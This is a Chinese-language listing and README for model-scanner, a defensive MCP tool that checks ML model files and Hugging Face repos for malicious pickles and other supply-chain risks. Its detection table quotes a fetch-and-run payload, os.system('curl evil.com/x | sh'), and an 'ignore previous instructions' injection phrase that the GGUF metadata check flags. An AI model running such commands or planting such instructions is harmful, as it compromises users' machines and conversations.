mcpField
M
model-scanner

model-scanner

本地服务
github.com/GuardBee安全22 天前更新

关于 model-scanner

model-scanner 是检查机器学习模型文件及 Hugging Face 仓库供应链风险的 MCP 服务和命令行工具。它解析多种格式,无需将大型文件整体载入内存,并可生成 SARIF 结果供 CI/CD 使用。

主要功能

  1. 01扫描 pickle、PyTorch、joblib 和 NumPy 文件
  2. 02检查 safetensors、Keras、TensorFlow、ONNX 和 GGUF
  3. 03扫描固定提交版本的 Hugging Face 仓库
  4. 04标记危险 pickle 引用和异常结构
  5. 05对大型文件采用有界读取
  6. 06以 SARIF 格式导出发现

适用场景

  1. 01加载前审查下载的模型文件
  2. 02按固定版本扫描 Hugging Face 模型
  3. 03在 CI/CD 中加入模型文件检查

MCP 相关

它向 MCP 客户端提供扫描单个模型文件、目录或 Hugging Face 仓库,以及列出检测规则的工具。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}
启动命令npx -y @guardbee/mcp-model-scanner

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npm@guardbee/mcp-model-scanner0.4.0

工具

3

收录的工具列表 · 更新于 6 天前

参数类型必填说明
pathstring是模型文件的绝对或相对路径(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx)

详细介绍

@guardbee/mcp-model-scanner

🇬🇧 英语 | 🇹🇷 土耳其语 | 🇨🇳 中文 | 🇯🇵 日语 | 🇰🇷 韩语 | 🇧🇷 葡萄牙语 | 🇪🇸 西班牙语 | 🇩🇪 德语

npm 版本 npm 下载量 许可证:MIT

一个 MCP(Model Context Protocol)服务,用于扫描 ML 模型文件中的供应链风险——扫描文件本身,而不是加载文件的代码。

大多数“AI 安全”工具关注的是集成代码,或其中流转的提示词。这个软件包关注的是你(或队友,或通过 pip install)从 Hugging Face、注册表或 S3 存储桶下载的制品——也可以直接扫描 Hugging Face 仓库,并固定到某个提交。.pt/.pth/.pkl/.joblib 检查点是 pickle 文件,而反序列化 pickle 不只是读取数据——文件一经加载,就可能调用任意 Python 代码(torch.load()、pickle.load() 等)。恶意检查点是一种真实且有据可查的攻击途径,并非假设情形。

默认情况下,遥测处于关闭状态。设置 GUARDBEE_TELEMETRY=1 后,它会发送服务器、工具、成功状态、耗时和较短的参数值(例如文件路径);较长的字符串以及 content、token 或 password 等字段会替换为占位符。请参阅 @guardbee/mcp-telemetry。

Claude ──► model-scanner ──► Your model files
              │
              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, walk the pickle
              ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
              ├─ .joblib / .jbl       → pickle + the array bytes and nested pickles joblib embeds
              ├─ .npy / .npz          → object arrays (pickled data), pickles disguised as NumPy
              ├─ .safetensors         → header structure + disguised-binary check
              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
              ├─ .onnx                → external_data path-traversal heuristic
              ├─ .gguf                → header/tensor bounds, chat-template SSTI and injected text
              ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
              └─ hf://owner/repo@rev  → every model file of a Hugging Face repo at one commit

为什么 pickle 是核心

Pickle 流是一个微型栈式虚拟机的字节码。GLOBAL/STACK_GLOBAL 操作码可以指定任何可导入的 Python 对象;紧接着的操作码通常会调用它。没有任何机制能阻止精心构造的 pickle 指定 os.system 或 subprocess.Popen,而不是张量重建函数——pickle.load()/torch.load() 会欣然解析并调用它。这也是 picklescan/fickling/Hugging Face 的 Picklescan 集成等工具所采用的技术。

本软件包从头实现了一套 pickle 虚拟机(协议 0–5),而不是调用 Python 或使用正则表达式。它逐字节遍历操作码流,并跟踪栈和 memo,不会调用任何对象,因此协议 4 及以上的 STACK_GLOBAL 会解析出栈上实际的模块和名称,包括从 memo 中取回的字符串,正如 NumPy 2 pickle 的处理方式。对原始字节使用正则表达式会频繁漏检或误报。

joblib 也需要这套虚拟机:joblib.dump 会在每个 NumPy 数组的 NumpyArrayWrapper 后紧接着写入数组的原始字节(对于对象数组,则写入完整的嵌套 pickle)。扫描器会从栈中读取包装器的形状和 dtype,准确跳过相应数量的字节,并检查嵌套 pickle。

发现的每个 GLOBAL/STACK_GLOBAL/INST 引用都会根据以下规则检查:

  • denylist:在张量反序列化路径中没有正当理由出现的模块(os、subprocess、socket、builtins.eval、ctypes 等)→ 报告为严重/高
  • allowlist:真实 ML 框架实际引用的模块(numpy、torch、sklearn、collections 等)→ 安全,不产生噪声
  • 其他项 → 报告为中等(“未知”,而非“恶意”——供人工审核,同时降低误报率)

对于 PyTorch 默认基于 zip 的检查点格式,扫描器会直接从磁盘读取 ZIP 中央目录(支持 Zip64),以定位并提取较小的 data.pkl 元数据条目——它不会将数 GB 的检查点完整加载到内存中。


功能

  • 真正的 pickle 解析——采用跟踪栈的 pickle 机器,而非正则表达式,也不调用 Python 子进程
  • 44 条危险全局对象规则,涵盖 6 个风险类别(代码执行、进程执行、网络、文件系统、反射、反序列化),包括 dill 的代码对象和导入小工具
  • 支持 PyTorch zip 容器(包括 Zip64)——无需加载整个检查点,即可提取并扫描 data.pkl
  • joblib——跳过嵌入的数组,遍历文件中的每个 pickle 操作码,包括嵌套的对象数组 pickle;zlib/gzip 转储会先解压
  • NumPy .npy/.npz——对象数组(以 pickle 形式存储,使用 allow_pickle=True 加载)以及扩展名改为 NumPy 扩展名的普通 pickle
  • .safetensors 结构验证——检查格式错误或越界的标头,并检测伪装成 .safetensors 扩展名的 pickle/zip
  • Keras Lambda 层 RCE——适用于 .h5、Keras 3 .keras zip 和 SavedModel keras_metadata.pb
  • ONNX external_data 路径遍历启发式检测
  • GGUF——检查文件中的标头计数、字符串和数组长度、张量维度、类型及数据边界;检查聊天模板是否存在 Jinja 沙箱逃逸、隐藏字符以及针对模型的指令
  • TensorFlow——检查 SavedModel、冻结的 GraphDef(.pb/.pbtxt)以及会读取或写入文件、调用 Python 或将张量发送到调试 URL 的 TFLite Flex 操作
  • Hugging Face 仓库——scan_hf_repo / scan hf://owner/repo@revision 会将修订版本解析为提交,并扫描其中的每个模型文件
  • 全程限制读取量(pickle 前缀为 10MB,safetensors 标头上限为 100MB,zip 条目上限为 50MB,GGUF 和 joblib 通过 4MB 窗口读取)——可防范解压炸弹,也不会因大型模型文件导致内存溢出
  • SARIF 2.1.0 输出——支持 CI/CD 集成(GitHub Code Scanning 等)
  • 支持通过 guardbee.yml 使用配置文件
  • 82 个单元测试,涵盖每种格式的恶意和良性样本,另有针对热门公开模型的误报检查

快速开始

Claude Desktop / MCP 客户端
{
  "mcpServers": {
    "guardbee-model-scanner": {
      "command": "npx",
      "args": ["-y", "@guardbee/mcp-model-scanner"]
    }
  }
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

在仓库模式下,修订版本会解析为提交 SHA,并从该提交读取每个文件,因此结果对应固定快照;检测结果会指向 hf://owner/repo@sha/path。大小不超过 256 MB 的文件会完整下载。更大的文件则从开头读取 64 MB;对于 zip 容器,还会读取末尾的 64 MB(中央目录),其中包含检查所需的所有标头、pickle 流和张量表。


MCP 工具

工具描述
scan_file扫描单个模型文件
scan_directory递归扫描目录中的模型文件(通过其 saved_model.pb 扫描 SavedModel)
scan_hf_repo扫描固定到指定提交的 Hugging Face 模型仓库中的每个模型文件
list_patterns按风险类别列出危险全局对象目录以及检查的 TensorFlow 操作

可检测的内容

格式检查项严重性示例
pickle / PyTorch引用 os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands严重os.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__、pickle.loads、marshal.loads严重递归/嵌套载荷,或直接调用 eval
pickle / PyTorchbuiltins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen高数据外泄、SSRF、文件读写
safetensors文件头以 pickle/zip 签名开头,而不是长度值严重将 .pkl 文件改名为 .safetensors
safetensors张量的 data_offsets 超出实际数据区范围高解析器读取越界数据
safetensors文件头长度无效/过大,或文件头不是 JSON 格式高损坏或恶意构造的文件头
Keras .h5/.keras/SavedModel模型配置中存在 class_name: "Lambda"严重加载时通过编组函数实现 RCE
ONNXexternal_data 中的 location 含有 ..高路径遍历访问任意文件
dilldill._dill._create_code/_create_function/_eval_repr严重从字节码重建函数,并在加载时调用
dilldill._dill._import_module/_get_attr/_create_filehandle高无需提及 os 即可调用 os.system
joblib主数据流或嵌套的对象数组 pickle 中存在任意 pickle 规则按规则判定载荷隐藏在真实数组之后
NumPy对象 dtype;扩展名为 .npy 的 pickle中 / 高np.load(..., allow_pickle=True) 会对其进行反序列化
GGUF聊天模板可访问 Python 内部对象(__class__、__globals__、…)严重Jinja 沙箱逃逸(CVE-2024-34359)
GGUF元数据中包含隐藏 Unicode 字符或类似“忽略之前的指令”的文本高向每次对话注入指令
GGUF计数、长度、维度或张量边界与文件不一致高未修补的加载器发生堆溢出
TensorFlowWriteFile / ReadFile / PyFunc / 文件数据集 / 将 PrintV2 写入 file://严重–中操作服务主机文件的计算图

完整的危险全局对象目录:运行 list_patterns 工具,或参阅 src/dangerousGlobals.ts。

0.4 版新增的规则 ID
规则 ID严重性
pickle_dangerous_global_dill__dill_*、pickle_dangerous_global_dill_dill_*严重 / 高
joblib_partial_scan、joblib_compressed_unsupported、joblib_compressed_too_large、joblib_decompress_failed、joblib_unrecognized低 / 中
numpy_object_array中
numpy_disguised_pickle高
numpy_bad_header、numpy_npz_unreadable中
numpy_npz_entry_unreadable、numpy_npz_partial_scan低
gguf_chat_template_ssti严重
gguf_metadata_injected_instructions、gguf_metadata_hidden_characters、gguf_malformed_header、gguf_tensor_out_of_bounds、gguf_bad_magic高
gguf_duplicate_tensor、gguf_tensor_misaligned中
gguf_chat_template_url、gguf_unknown_tensor_type、gguf_not_parsed低
tf_op_writefile严重
tf_op_readfile、tf_op_pyfunc、tf_op_pyfuncstateless、tf_op_eagerpyfunc高
tf_op_matchingfiles、tf_op_immutableconst、tf_op_*dataset*、tf_op_printv2、tf_op_debug*中
tf_saved_model_malformed、tflite_bad_identifier、keras_config_unreadable中
tf_graph_too_large低

SARIF 输出保留原有结构:每个规则 ID 仍会成为一个 rules[] 条目。

已使用公开模型进行检查

于 2026-10-30 使用 scan hf://… 扫描。列出了这些仓库中的所有发现;没有误报。少量“部分扫描”说明是因为文件大于 pickle、H5 和 ONNX 检查读取的 10 MB 前缀。

Repo @ commit格式发现
openai-community/gpt2@607a30dPyTorch(旧版 pickle)、safetensors、H5、ONNX、TFLite5 条低风险部分扫描说明
google-bert/bert-base-uncased@86b5e09PyTorch、safetensors、H5、ONNX3 条低风险部分扫描说明
sentence-transformers/all-MiniLM-L6-v2@1110a24PyTorch、safetensors、H5、9 个 ONNX 变体10 条低风险部分扫描说明
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5dGGUF(9 种量化,包括 fp16、K 量化)无
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946GGUF(18 种量化,包括 IQ 类型)3 条低风险说明:张量类型 31–33,已从 ggml 中移除
microsoft/Phi-3-mini-4k-instruct-gguf@a641133GGUF无
keras-io/ocr-for-captcha@1d695c4SavedModel + keras_metadata.pb无
keras-io/timeseries-anomaly-detection@5712601SavedModel;profiler .pb 文件因不是计算图而跳过无
suno/bark-small@1dbd7a1PyTorch、783 个 .npy 说话人提示词无
julien-c/wine-quality@90ef3b7scikit-learn joblib无
mcpotato/42-eicar-street@8fb61c4Hugging Face 的恶意 pickle 测试仓库model_broken_X.pkl:严重的 builtins.exec(唯一带有模型扩展名的载荷)

这些是经过调整以降低误报率的启发式发现——尤其是 HDF5 和 ONNX,它们是复杂的二进制/protobuf 格式,通过有界文本模式搜索而非完整结构解析进行扫描。仍应检查每项发现;扫描结果干净并不能正式证明安全。


配置(guardbee.yml)

model-scanner:
  fail-on: high       # any | critical | high | medium | low | none
  max-files: 2000
  exclude:
    - "fixtures/"

限制(有意为之)

  • 只扫描原始(非 zip)pickle 流的前 10MB(joblib 文件会遍历至末尾)——危险的全局对象必须在 pickle 流中的实例之前被引用,因此与将大型旧版检查点完整载入内存相比,这一上限是合理的权衡。
  • ZIP 提取仅支持 STORED 和 DEFLATE(涵盖默认的 PyTorch 检查点格式)。
  • HDF5/ONNX 检查基于有界前缀进行模式匹配,并非完整的结构/protobuf 解析。
  • 使用 bz2、xz、lzma 或 lz4 压缩的 joblib 文件会报告出来,但不会解压。GGUF v1 和大端序 GGUF 文件会报告出来,但不会解析。
  • TFLite 检查会查找 Flex 委托算子名称;内置 TFLite 算子仅用于张量运算。
  • GGUF 指令检查会查找常见的注入措辞和隐藏字符;措辞精心设计的指令仍可能通过检查。请阅读你未构建的模型的聊天模板。
  • 此工具扫描的是文件,而非运行时行为——它不会执行或沙箱化任何内容。

开发

npm run build
npm test             # 82 unit tests

许可证

MIT — GuardBee

反馈

有问题、想法或发现误报?请在 GitHub Discussions 中发起讨论,或提交问题。如果 GuardBee 对你有用,请在仓库点个 ⭐,帮助其他人找到它。

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。